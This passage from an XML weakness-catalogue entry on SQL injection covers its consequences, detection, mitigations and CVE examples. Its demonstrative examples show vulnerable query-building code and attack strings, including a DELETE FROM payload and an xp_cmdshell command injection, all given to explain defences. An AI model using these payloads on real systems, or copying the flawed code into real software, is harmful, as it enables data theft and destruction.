					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>727</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A6 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>713</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A2 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>751</Relationship_Target_ID>
					          <!--2009 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>810</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A1 - Injection-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>SQL injection can be resultant from special character mismanagement, MAID,
						or blacklist/whitelist problems. It can be primary to authentication
						errors.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Technology_Classes>
					          <Technology_Class Technology_Name="Database-Server"/>
				        </Technology_Classes>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This weakness typically appears in data-rich applications that save user
						inputs in a database.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>The application dynamically generates queries that contain user
						input.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Since SQL databases generally hold sensitive data, loss of
							confidentiality is a frequent problem with SQL injection
							vulnerabilities.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If poor SQL commands are used to check user names and passwords, it
							may be possible to connect to a system as another user with no previous
							knowledge of the password.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If authorization information is held in a SQL database, it may be
							possible to change this information through the successful exploitation
							of a SQL injection vulnerability.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Just as it may be possible to read sensitive information, it is also
							possible to make changes or even delete this information with a SQL
							injection attack.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-1">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can often be detected using automated static analysis
							tools. Many modern tools use data flow analysis or constraint-based
							techniques to minimize the number of false positives.</Text>
						            <Text>Automated static analysis might not be able to recognize when proper
							input validation is being performed, leading to false positives - i.e.,
							warnings that do not have any security consequences or do not require
							any code changes.</Text>
						            <Text>Automated static analysis might not be able to detect the usage of
							custom API functions or third-party libraries that indirectly invoke SQL
							commands, leading to false negatives - especially if the API/library
							code is not available for analysis.</Text>
					          </Method_Description>
					          <Method_Effectiveness_Notes>
						            <Text>This is not a perfect solution, since 100% accuracy and coverage are
							not feasible.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using dynamic tools and techniques that
							interact with the software using large test suites with many diverse
							inputs, such as fuzz testing (fuzzing), robustness testing, and fault
							injection. The software's operation may slow down, but it should not
							become unstable, crash, or generate incorrect results.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-9">
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>Manual analysis can be useful for finding this weakness, but it might
							not achieve desired code coverage within limited time constraints. This
							becomes difficult for weaknesses that must be considered for all inputs,
							since the attack surface can be too large.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>For example, consider using persistence layers such as Hibernate or
							Enterprise Java Beans, which can provide significant protection against
							SQL injection if used properly.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-27">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Parameterization</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>If available, use structured mechanisms that automatically enforce the
							separation between data and code. These mechanisms may be able to
							provide the relevant quoting, encoding, and validation automatically,
							instead of relying on the developer to provide this capability at every
							point where output is generated.</Text>
						            <Text>Process SQL queries using prepared statements, parameterized queries,
							or stored procedures. These features should accept parameters or
							variables and support strong typing. Do not dynamically construct and
							execute query strings within these features using "exec" or similar
							functionality, since this may re-introduce the possibility of SQL
							injection. [R.89.3]</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.89.12]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
						            <Text>Specifically, follow the principle of least privilege when creating
							user accounts to a SQL database. The database users should only have the
							minimum privileges necessary to use their account. If the requirements
							of the system indicate that a user can read and modify their own data,
							then limit their privileges so they cannot read/write others' data. Use
							the strictest permissions possible on all database objects, such as
							execute-only for stored procedures.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
						            <Text>Instead of building a new implementation, such features may be
							available in the database or programming language. For example, the
							Oracle DBMS_ASSERT package can check or enforce that parameters have
							certain properties that make them less vulnerable to SQL injection. For
							MySQL, the mysql_real_escape_string() API function is available in both
							C and PHP.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When constructing SQL query strings, use stringent whitelists that
							limit the character set based on the expected value of the parameter in
							the request. This will indirectly limit the scope of an attack, but this
							technique is less important than proper output encoding and
							escaping.</Text>
						            <Text>Note that proper output encoding, escaping, and quoting is the most
							effective solution for preventing SQL injection, although input
							validation may provide some defense-in-depth. This is because it
							effectively limits what will appear in output. Input validation will not
							always prevent SQL injection, especially if you are required to support
							free-form text fields that could contain arbitrary characters. For
							example, the name "O'Reilly" would likely pass the validation step,
							since it is a common last name in the English language. However, it
							cannot be directly inserted into the database because it contains the
							"'" apostrophe character, which would need to be escaped or otherwise
							handled. In this case, stripping the apostrophe might reduce the risk of
							SQL injection, but it would produce incorrect behavior because the wrong
							name would be recorded.</Text>
						            <Text>When feasible, it may be safest to disallow meta-characters entirely,
							instead of escaping them. This will provide some defense in depth. After
							the data is entered into the database, later processes may neglect to
							escape meta-characters before use, and you may not have control over
							those processes.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-21">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Enforcement by Conversion</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When the set of acceptable objects, such as filenames or URLs, is
							limited or known, create a mapping from a set of fixed input values
							(such as numeric IDs) to the actual filenames or URLs, and reject all
							other inputs.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-39">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that error messages only contain minimal details that are
							useful to the intended audience, and nobody else. The messages need to
							strike the balance between being too cryptic and not being cryptic
							enough. They should not necessarily reveal the methods that were used to
							determine the error. Such detailed information can be used to refine the
							original attack to increase the chances of success.</Text>
						            <Text>If errors must be tracked in some detail, capture them in log messages
							- but consider what could occur if the log messages can be viewed by
							attackers. Avoid recording highly sensitive information such as
							passwords in any form. Avoid inconsistent messaging that might
							accidentally tip off an attacker about internal state, such as whether a
							username is valid or not.</Text>
						            <Text>In the context of SQL Injection, error messages revealing the
							structure of a SQL query can help attackers tailor successful attack
							strings.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-29">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Firewall</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use an application firewall that can detect attacks against this
							weakness. It can be beneficial in cases in which the code cannot be
							fixed (because it is controlled by a third party), as an emergency
							prevention measure while more comprehensive software assurance measures
							are applied, or to provide defense in depth.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Moderate</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>An application firewall might not cover all possible input vectors. In
							addition, attack techniques might be available to bypass the protection
							mechanism, such as using malformed inputs that can still be processed by
							the component that receives those inputs. Depending on functionality, an
							application firewall might inadvertently reject or modify legitimate
							requests. Finally, some manual effort may be required for
							customization.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-16">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When using PHP, configure the application so that it does not use
							register_globals. During implementation, develop the application so that
							it does not rely on this feature, but be wary of implementing a
							register_globals emulation that is subject to weaknesses such as CWE-95,
							CWE-621, and similar issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In 2008, a large number of web servers were compromised using the
						same SQL injection attack string. This single string worked against many
						different programs. The SQL injection was then used to modify the web sites
						to serve malicious code. [1]</Intro_Text>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code dynamically constructs and executes a SQL query
						that searches for items matching a specified name. The query restricts the
						items displayed to those where owner matches the user name of the
						currently-authenticated user.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>...</Code>
							              <Code>string userName = ctx.getAuthenticatedUserName();</Code>
							              <Code>string query = "SELECT * FROM items WHERE owner = '" + userName +
								"' AND itemname = '" + ItemName.Text + "'";</Code>
							              <Code>sda = new SqlDataAdapter(query, conn);</Code>
							              <Code>DataTable dt = new DataTable();</Code>
							              <Code>sda.Fill(dt);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The query that this code intends to execute follows:</Text>
						            <Block>
							              <Code>SELECT * FROM items WHERE owner = &lt;userName&gt; AND
								itemname = &lt;itemName&gt;;</Code>
						            </Block>
						            <Text>However, because the query is constructed dynamically by concatenating
							a constant base query string and a user input string, the query only
							behaves correctly if itemName does not contain a single-quote character.
							If an attacker with the user name wiley enters the string:</Text>
						            <Block Block_Nature="Attack">
							              <Code>name' OR 'a'='a</Code>
						            </Block>
						            <Text>for itemName, then the query becomes the following:</Text>
						            <Block Block_Nature="Attack">
							              <Code>SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR
								'a'='a';</Code>
						            </Block>
						            <Text>The addition of the:</Text>
						            <Block Block_Nature="Attack">
							              <Code>OR 'a'='a'</Code>
						            </Block>
						            <Text>condition causes the WHERE clause to always evaluate to true, so the
							query becomes logically equivalent to the much simpler query:</Text>
						            <Block Block_Nature="Attack">
							              <Code>SELECT * FROM items;</Code>
						            </Block>
						            <Text>This simplification of the query allows the attacker to bypass the
							requirement that the query only return items owned by the authenticated
							user; the query now returns all entries stored in the items table,
							regardless of their specified owner.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This example examines the effects of a different malicious value
						passed to the query constructed and executed in the previous
						example.</Intro_Text>
					          <Example_Body>
						            <Text>If an attacker with the user name wiley enters the string:</Text>
						            <Block Block_Nature="Attack">
							              <Code>name'; DELETE FROM items; --</Code>
						            </Block>
						            <Text>for itemName, then the query becomes the following two queries:</Text>
						            <Block Block_Nature="Attack">
							              <Code_Example_Language>SQL</Code_Example_Language>
							              <Code>SELECT * FROM items WHERE owner = 'wiley' AND itemname =
								'name';</Code>
							              <Code>DELETE FROM items;</Code>
							              <Comment>--'</Comment>
						            </Block>
						            <Text>Many database servers, including Microsoft(R) SQL Server 2000, allow
							multiple SQL statements separated by semicolons to be executed at once.
							While this attack string results in an error on Oracle and other
							database servers that do not allow the batch-execution of statements
							separated by semicolons, on databases that do allow batch execution,
							this type of attack allows the attacker to execute arbitrary commands
							against the database.</Text>
						            <Text>Notice the trailing pair of hyphens (--), which specifies to most
							database servers that the remainder of the statement is to be treated as
							a comment and not executed. In this case the comment character serves to
							remove the trailing single-quote left over from the modified query. On a
							database where comments are not allowed to be used in this way, the
							general attack could still be made effective using a trick similar to
							the one shown in the previous example.</Text>
						            <Text>If an attacker enters the string</Text>
						            <Block Block_Nature="Attack">
							              <Code>name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a</Code>
						            </Block>
						            <Text>Then the following three valid statements will be created:</Text>
						            <Block Block_Nature="Attack">
							              <Code>SELECT * FROM items WHERE owner = 'wiley' AND itemname =
								'name';</Code>
							              <Code>DELETE FROM items;</Code>
							              <Code>SELECT * FROM items WHERE 'a'='a';</Code>
						            </Block>
						            <Text>One traditional approach to preventing SQL injection attacks is to
							handle them as an input validation problem and either accept only
							characters from a whitelist of safe values or identify and escape a
							blacklist of potentially malicious values. Whitelisting can be a very
							effective means of enforcing strict input validation rules, but
							parameterized SQL statements require less maintenance and can offer more
							guarantees with respect to security. As is almost always the case,
							blacklisting is riddled with loopholes that make it ineffective at
							preventing SQL injection attacks. For example, attackers can:</Text>
						            <Block Block_Nature="List">
							              <Text>Target fields that are not quoted</Text>
							              <Text>Find ways to bypass the need for certain escaped
								meta-characters</Text>
							              <Text>Use stored procedures to hide the injected meta-characters.
							</Text>
						            </Block>
						            <Text>Manually escaping characters in input to SQL queries can help, but it
							will not make your application secure from SQL injection attacks.</Text>
						            <Text>Another solution commonly proposed for dealing with SQL injection
							attacks is to use stored procedures. Although stored procedures prevent
							some types of SQL injection attacks, they do not protect against many
							others. For example, the following PL/SQL procedure is vulnerable to the
							same SQL injection attack shown in the first example.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code>procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm
								in varchar2)</Code>
							              <Code>is open itm_cv for</Code>
							              <Code>' SELECT * FROM items WHERE ' || 'owner = '|| usr || ' AND
								itemname = ' || itm || ';</Code>
							              <Code>end get_item;</Code>
						            </Block>
						            <Text>Stored procedures typically help prevent SQL injection attacks by
							limiting the types of statements that can be passed to their parameters.
							However, there are many ways around the limitations and many interesting
							statements that can still be passed to stored procedures. Again, stored
							procedures can prevent some exploits, but they will not make your
							application secure against SQL injection attacks.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>MS SQL has a built in function that enables shell command execution.
						An SQL injection in such a context could be disastrous. For example, a query
						of the form:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code>SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input'
								ORDER BY PRICE</Code>
						            </Block>
						            <Text>Where $user_input is taken from an untrusted source.</Text>
						            <Text>If the user provides the string:</Text>
						            <Block Block_Nature="Attack">
							              <Code>'; exec master..xp_cmdshell 'dir' --</Code>
						            </Block>
						            <Text>The query will take the following form:</Text>
						            <Block Block_Nature="Attack">
							              <Code>SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec
								master..xp_cmdshell 'dir' --' ORDER BY PRICE</Code>
						            </Block>
						            <Text>Now, this query can be broken down into:</Text>
						            <Block Block_Nature="Numeric_List">
							              <Text>a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE
								ITEM_CATEGORY='';</Text>
							              <Text>a second SQL query, which executes the dir command in the shell:
								exec master..xp_cmdshell 'dir'</Text>
							              <Text>an MS SQL comment: --' ORDER BY PRICE</Text>
						            </Block>
						            <Text>As can be seen, the malicious input changes the semantics of the query
							into a query, a shell command execution and a comment.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This code intends to print a message summary given the message
						ID.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$id = $_COOKIE["mid"];</Code>
							              <Code>mysql_query("SELECT MessageID, Subject FROM messages WHERE
								MessageID = '$id'");</Code>
						            </Block>
						            <Text>The programmer may have skipped any input validation on $id under the
							assumption that attackers cannot modify the cookie. However, this is
							easy to do with custom client code or even in the web browser.</Text>
						            <Text>While $id is wrapped in single quotes in the call to mysql_query(), an
							attacker could simply change the incoming mid cookie to:</Text>
						            <Block Block_Nature="Attack">
							              <Code>1432' or '1' = '1</Code>
						            </Block>
						            <Text>This would produce the resulting query:</Text>
						            <Block Block_Nature="Result">
							              <Code>SELECT MessageID, Subject FROM messages WHERE MessageID = '1432'
								or '1' = '1'</Code>
						            </Block>
						            <Text>Not only will this retrieve message number 1432, it will retrieve all
							other messages.</Text>
						            <Text>In this case, the programmer could apply a simple modification to the
							code to eliminate the SQL injection:</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$id = intval($_COOKIE["mid"]);</Code>
							              <Code>mysql_query("SELECT MessageID, Subject FROM messages WHERE
								MessageID = '$id'");</Code>
						            </Block>
						            <Text>However, if this code is intended to support multiple users with
							different message boxes, the code might also need an access control
							check (CWE-285) to ensure that the application user has the permission
							to see that message.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This example attempts to take a last name provided by a user and
						enter it into a database.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>$userKey = getUserID();</Code>
							              <Code>$name = getUserInput();</Code>
							              <Comment># ensure only letters, hyphens and apostrophe are
								allowed</Comment>
							              <Code>$name = whiteList($name, "^a-zA-z'-$");</Code>
							              <Code>$query = "INSERT INTO last_names VALUES('$userKey',
								'$name')";</Code>
						            </Block>
						            <Text>While the programmer applies a whitelist to the user input, it has
							shortcomings. First of all, the user is still allowed to provide hyphens
							which are used as comment structures in SQL. If a user specifies -- then
							the remainder of the statement will be treated as a comment, which may
							bypass security logic. Furthermore, the whitelist permits the apostrophe
							which is also a data / command separator in SQL. If a user supplies a
							name with an apostrophe, they may be able to alter the structure of the
							whole statement and even change control flow of the program, possibly
							accessing or modifying confidential information. In this situation, both
							the hyphen and apostrophe are legitimate characters for a last name and
							permitting them is required. Instead, a programmer may want to use a
							prepared statement or apply an encoding routine to the input to prevent
							any data / directive misinterpretations.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0366</Observed_Example_Reference>
					          <Observed_Example_Description>chain: SQL injection in library intended for
						database authentication allows SQL injection and authentication bypass.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2790</Observed_Example_Reference>
					          <Observed_Example_Description>SQL injection through an ID that was supposed to
						be numeric.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2223</Observed_Example_Reference>
					          <Observed_Example_Description>SQL injection through an ID that was supposed to
						be numeric.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-6602</Observed_Example_Reference>
					          <Observed_Example_Description>SQL injection via user
						name.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5817</Observed_Example_Reference>
					          <Observed_Example_Description>SQL injection via user name or password
						fields.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0377</Observed_Example_Reference>
					          <Observed_Example_Description>SQL injection in security product, using a crafted
						group name.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2380</Observed_Example_Reference>
					          <Observed_Example_Description>SQL injection in authentication
						library.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.89.1">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 1: SQL Injection." Page 3</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.89.2">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 12, "Database Input Issues" Page
						397</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.89.3">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>SQL Injection Prevention Cheat Sheet</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.89.4">
					          <Reference_Author>Steven Friedl</Reference_Author>
					          <Reference_Title>SQL Injection Attacks by Example</Reference_Title>
					          <Reference_Date>2007-10-10</Reference_Date>
					          <Reference_Link>http://www.unixwiz.net/techtips/sql-injection.html</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.89.5">
					          <Reference_Author>Ferruh Mavituna</Reference_Author>
					          <Reference_Title>SQL Injection Cheat Sheet</Reference_Title>
					          <Reference_Date>2007-03-15</Reference_Date>
					          <Reference_Link>http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.89.6">
					          <Reference_Author>David Litchfield</Reference_Author>
					          <Reference_Author>Chris Anley</Reference_Author>
					          <Reference_Author>John Heasman</Reference_Author>
					          <Reference_Author>Bill Grindlay</Reference_Author>
					          <Reference_Title>The Database Hacker's Handbook: Defending Database
						Servers</Reference_Title>
					          <Reference_Publisher>Wiley</Reference_Publisher>
					          <Reference_Date>2005-07-14</Reference_Date>
				        </Reference>
				        <Reference Local_Reference_ID="R.89.7">
					          <Reference_Author>David Litchfield</Reference_Author>
					          <Reference_Title>The Oracle Hacker's Handbook: Hacking and Defending
						Oracle</Reference_Title>
					          <Reference_Publisher>Wiley</Reference_Publisher>
					          <Reference_Date>2007-01-30</Reference_Date>
				        </Reference>
				        <Reference Local_Reference_ID="R.89.8">
					          <Reference_Author>Microsoft</Reference_Author>
					          <Reference_Title>SQL Injection</Reference_Title>
					          <Reference_PubDate>December 2008</Reference_PubDate>
					          <Reference_Link>http://msdn.microsoft.com/en-us/library/ms161953.aspx</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.89.9">
					          <Reference_Author>Microsoft Security Vulnerability Research &amp;
						Defense</Reference_Author>
					          <Reference_Title>SQL Injection Attack</Reference_Title>
					          <Reference_Link>http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.89.10">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Title>Giving SQL Injection the Respect it Deserves</Reference_Title>
					          <Reference_Date>2008-05-15</Reference_Date>
					          <Reference_Link>http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.89.11">
					          <Reference_Author>Frank Kim</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 2 - SQL Injection</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-01</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/01/top-25-series-rank-2-sql-injection/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-31" Local_Reference_ID="R.89.12">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.89.13">
